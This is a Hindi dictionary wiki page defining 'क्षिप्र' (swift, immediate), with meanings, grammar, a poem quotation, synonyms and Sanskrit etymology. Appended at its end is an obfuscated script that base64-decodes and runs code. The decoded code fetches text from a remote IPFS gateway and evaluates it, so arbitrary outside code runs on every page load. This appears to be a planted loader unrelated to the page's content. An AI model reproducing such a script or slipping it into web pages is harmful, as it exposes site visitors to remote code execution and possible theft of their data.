क्षिप्र

भारत डिस्कवरी प्रस्तुति
लक्ष्मी गोस्वामी (चर्चा | योगदान) द्वारा परिवर्तित 10:08, 11 फ़रवरी 2011 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
शब्द संदर्भ
हिन्दी शीघ्रगामी, तेज़, तुरंत, जल्दी, तत्काल, अस्थिर, अँगूठे और तर्जनी के बीच का स्थान जो वैद्यक में मर्मस्थल माना गया है।
-व्याकरण    धातु, विशेषण, पुल्लिंग, क्रिया विशेषण।
-उदाहरण  

क्षिप्र गति अलग है,
क्षिप्र तो वह है,
जो सही क्षण में सजग है।- भवानी प्रसाद मिश्र

-विशेष   
-विलोम   
-पर्यायवाची    अम्लान, उत्साहपूर्ण, ऊर्जस्वी, ओजस्वी, चटक, स्फूर्तिमान, सतेज, चेतन, चुस्त आदि।
संस्कृत क्षिप् (प्रेरणा)+रक (मध्यमावस्था- क्षपीयम्, उत्तमावस्था- क्षेपिष्ठ) सजीव, आशुगामी।
अन्य ग्रंथ
संबंधित शब्द क्षिप्रकारी, क्षिप्रहस्त, क्षिप्रोच्चारिता
संबंधित लेख

अन्य शब्दों के अर्थ के लिए देखें शब्द संदर्भ कोश
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>